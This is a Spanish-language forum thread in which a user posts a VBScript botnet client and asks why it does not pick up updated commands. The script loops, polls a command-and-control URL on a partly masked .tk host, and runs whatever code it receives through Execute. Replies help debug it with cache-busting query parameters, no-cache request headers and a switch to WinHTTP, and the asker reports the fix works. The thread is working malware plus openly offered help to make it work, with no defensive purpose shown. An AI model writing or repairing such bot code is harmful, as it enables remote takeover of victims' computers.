Hola! Tengo un problema con uno de mis proyectos, quiero hacer una botnet vbs pero no funciona como esperaba:
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set http = CreateObject("Microsoft.XmlHttp")
Do
Set file = fso.OpenTextFile(fso.getSpecialFolder(2) & "\k.tmp", 1, True)
filex = file.readAll
file.Close
http.open "GET", "http://*****.tk/btnet/cmdint.php", False
http.send
If Not(http.responsetext = filex) Then
Set file = fso.OpenTextFile(fso.getSpecialFolder(2) & "\k.tmp", 2, True)
file.Write http.responsetext
file.Close
Execute http.responsetext
End If
Wscript.Sleep 15000
Loop
Cuando se inicia por primera vez, la botnet busca en mi servidor C&C el codigo a ejecutar.
Luego, ejecuta el codigo y lo guarda en un archivo llamado k.tmp
Cuando se repite deberia volver a buscar el codigo en el servidor, y gracias al archivo k.tmp, verificar si el codigo ya se ejecutó antes.
El problema es que cuando ocurre el loop y el archivo de instrucciones del servidor se actualizó, la botnet no recibe el nuevo codigo, sino el anterior :-\
¿Como puedo solucionarlo?
Hola!
Creo que es porque deberias usar responseText, no responsetext. Creo que es case sensitive.
Saludos!
Amigo, no creo que sea eso. Mira esto: http://ito.mx/LGun (http://ito.mx/LGun)
Directamente el responseText no se actualiza :-\
Prueba a quitar el On Error... a ver si te tira algun error...
Saludos!
Tu codigo funciona sin problemas, lo mas probable es que estes teniendo problemas de cache, de ahi que tu peticion no reciba datos actualizados del server. Aqui puedes intentar varias cosas
1- Intenta añadir un parametro aleatorio a tu url, no tiene que ser un parametro utilizable necesariamente, quizas algo como
Randomize
url = "http://*****.tk/btnet/cmdint.php&dummy=" & Rnd
solo para forzar una nueva version de la web
2- Intenta especificando los headers de tu peticion
rl = "http://*****.tk/btnet/cmdint.php"
http.open "GET", url, False
http.setRequestHeader "pragma", "no-cache"
http.setRequestHeader "Cache-Control", "no-cache, no-store"
http.send
3- No estoy seguro si XmlHttp usa los settings de ie, por si acaso desactiva la cache de paginas de ie
4- Usa WinHTTP en lugar de XmlHTTP ya que segun microsoft WinHTTP no implementa cache o cookies
https://docs.microsoft.com/en-us/windows/win32/winhttp/about-winhttp?redirectedfrom=MSDN
Suerte
Cita de: ThunderCls en 17 Octubre 2019, 03:05 AM
Tu codigo funciona sin problemas, lo mas probable es que estes teniendo problemas de cache, de ahi que tu peticion no reciba datos actualizados del server. Aqui puedes intentar varias cosas
1- Intenta añadir un parametro aleatorio a tu url, no tiene que ser un parametro utilizable necesariamente, quizas algo como
Randomize
url = "http://*****.tk/btnet/cmdint.php&dummy=" & Rnd
solo para forzar una nueva version de la web
2- Intenta especificando los headers de tu peticion
rl = "http://*****.tk/btnet/cmdint.php"
http.open "GET", url, False
http.setRequestHeader "pragma", "no-cache"
http.setRequestHeader "Cache-Control", "no-cache, no-store"
http.send
3- No estoy seguro si XmlHttp usa los settings de ie, por si acaso desactiva la cache de paginas de ie
4- Usa WinHTTP en lugar de XmlHTTP ya que segun microsoft WinHTTP no implementa cache o cookies
https://docs.microsoft.com/en-us/windows/win32/winhttp/about-winhttp?redirectedfrom=MSDN
Suerte
Gracias, me funcionó cambiarlo a WinHTTP, ;)